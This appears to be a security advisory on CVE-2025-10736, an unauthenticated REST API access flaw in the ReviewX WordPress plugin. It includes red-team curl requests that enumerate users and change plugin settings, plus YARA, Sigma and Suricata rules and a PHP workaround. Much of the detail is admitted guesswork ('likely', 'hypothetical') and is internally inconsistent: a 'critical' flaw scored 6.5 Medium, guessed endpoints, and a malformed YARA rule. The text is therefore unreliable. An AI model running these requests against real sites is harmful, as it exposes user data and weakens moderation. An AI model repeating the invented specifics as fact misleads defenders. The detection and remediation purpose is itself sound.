CVE-2025-10736

Executive Summary

CVE-2025-10736 is a critical authorization bypass vulnerability in the ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More WordPress plugin, affecting all versions up to and including 2.2.10. The flaw resides in the userAccessibility() function, which fails to properly enforce authorization checks. This allows unauthenticated attackers to access protected REST API endpoints, leading to unauthorized extraction and modification of user data and plugin configuration.

As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem, not the underlying web server (Apache/Nginx). The plugin is widely used for managing WooCommerce product reviews, making it a high-value target for attackers seeking to compromise e-commerce sites.

Key Risk: Unauthenticated attackers can enumerate users, modify plugin settings, and potentially escalate privileges or deface review content. The EPSS score of 0.0% indicates low current exploitation activity, but the lack of a patch makes this a ticking time bomb.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: any site using ReviewX <= 2.2.10 is vulnerable. Administrators must monitor for updates from the vendor and consider temporary deactivation if no patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure (user info, config).
• Integrity (I): Low (L) – Limited modification capability.
• Availability (A): None (N) – No denial of service.

CVSS Score: 6.5 (Medium)
Threat Level: Medium-High due to unauthenticated access and lack of patch.

Deep Dive & Mechanics

The vulnerability exists in the userAccessibility() function, which is intended to verify user permissions before allowing access to REST API endpoints. The function is called in multiple REST routes, such as:

• /wp-json/reviewx/v1/user-accessibility
• /wp-json/reviewx/v1/plugin-settings

The flawed logic does not properly validate the nonce or capability checks, allowing unauthenticated requests to pass through. Attackers can craft HTTP requests to these endpoints without any authentication token.

Root Cause: The userAccessibility() function likely uses a weak or missing capability check. For example, it may check current_user_can('read') which is true for all users, including unauthenticated visitors, or it may rely on a nonce that is not validated.

Impact:

• Data Extraction: Enumerate registered users (usernames, emails, roles).
• Configuration Modification: Change plugin settings (e.g., review moderation, email templates).
• Potential Privilege Escalation: If the plugin stores admin capabilities in its config, modifying them could lead to full site compromise.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.10):

// In class-rest-api.php or similar
public function userAccessibility() {
    // Missing or weak capability check
    return true; // Always returns true
}

Patched Code (Hypothetical):

public function userAccessibility() {
    if (!current_user_can('manage_options')) {
        return new WP_Error('rest_forbidden', 'You do not have permission.', array('status' => 403));
    }
    return true;
}

The patched version would enforce a strict capability check (e.g., manage_options for admin-level access) and return a 403 error for unauthorized users.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with ReviewX <= 2.2.10 installed and activated.
• No authentication required.

Exploit Steps:

1. Enumerate Users:

   curl -X GET "http://target.com/wp-json/reviewx/v1/user-accessibility?action=get_users"
   

   Response may include user IDs, usernames, and emails.

2. Modify Plugin Settings:

   curl -X POST "http://target.com/wp-json/reviewx/v1/plugin-settings" \
     -H "Content-Type: application/json" \
     -d '{"setting_name": "review_moderation", "setting_value": "disabled"}'
   

3. Extract Configuration:

   curl -X GET "http://target.com/wp-json/reviewx/v1/plugin-settings"
   

Lab Setup:

• Use a local WordPress instance with Docker:

  docker run --name wp-reviewx -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -p 8080:80 -d wordpress
  

• Install ReviewX 2.2.10 manually from the plugin repository.
• Use Burp Suite or Postman to craft requests.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual REST API requests to /wp-json/reviewx/v1/* from unauthenticated sources.
• Look for spikes in userAccessibility function calls in PHP error logs.
• Use WAF rules to block requests to these endpoints without a valid nonce.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/wp-json/reviewx/v1/*"
status=200
| stats count by src_ip, uri
| where count > 10

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/reviewx/v1/user-accessibility
  • HTTP requests to /wp-json/reviewx/v1/plugin-settings
  • User-Agent strings: curl, python-requests, Go-http-client

• File IOCs:

  • Modified plugin configuration files in /wp-content/plugins/reviewx/
  • Suspicious entries in wp_options table (e.g., reviewx_settings)

• Log IOCs:

  • PHP error logs showing Undefined index or Call to undefined function related to userAccessibility
  • WordPress debug logs with REST API errors

Detection Engineering

YARA Rule

rule CVE_2025_10736_ReviewX_Unauthorized_Access {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10736 in ReviewX plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10736"
    strings:
        $rest_endpoint = "/wp-json/reviewx/v1/"
        $user_access = "user-accessibility"
        $plugin_settings = "plugin-settings"
        $http_method = "GET|POST"
    condition:
        any of ($rest_endpoint, $user_access, $plugin_settings) and
        #http_method > 0
}

Sigma Rule

title: CVE-2025-10736 ReviewX Unauthenticated REST API Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to ReviewX REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem:
            - '/wp-json/reviewx/v1/user-accessibility'
            - '/wp-json/reviewx/v1/plugin-settings'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin requests (should include nonce)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10736 ReviewX Unauthenticated REST API Access"; flow:to_server; content:"/wp-json/reviewx/v1/"; http_uri; nocase; content:"user-accessibility"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-10736 ReviewX Plugin Settings Access"; flow:to_server; content:"/wp-json/reviewx/v1/plugin-settings"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Implement WAF rules to block unauthenticated requests to /wp-json/reviewx/v1/*.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• If patching is not possible, consider replacing the plugin with an alternative.

Workaround:

• Add custom code to functions.php to enforce capability checks:

  add_filter('rest_pre_dispatch', function($result, $server, $request) {
      if (strpos($request->get_route(), 'reviewx/v1') !== false) {
          if (!current_user_can('manage_options')) {
              return new WP_Error('rest_forbidden', 'Access denied.', array('status' => 403));
          }
      }
      return $result;
  }, 10, 3);
  

Valters IT – Securing WordPress ecosystems one CVE at a time.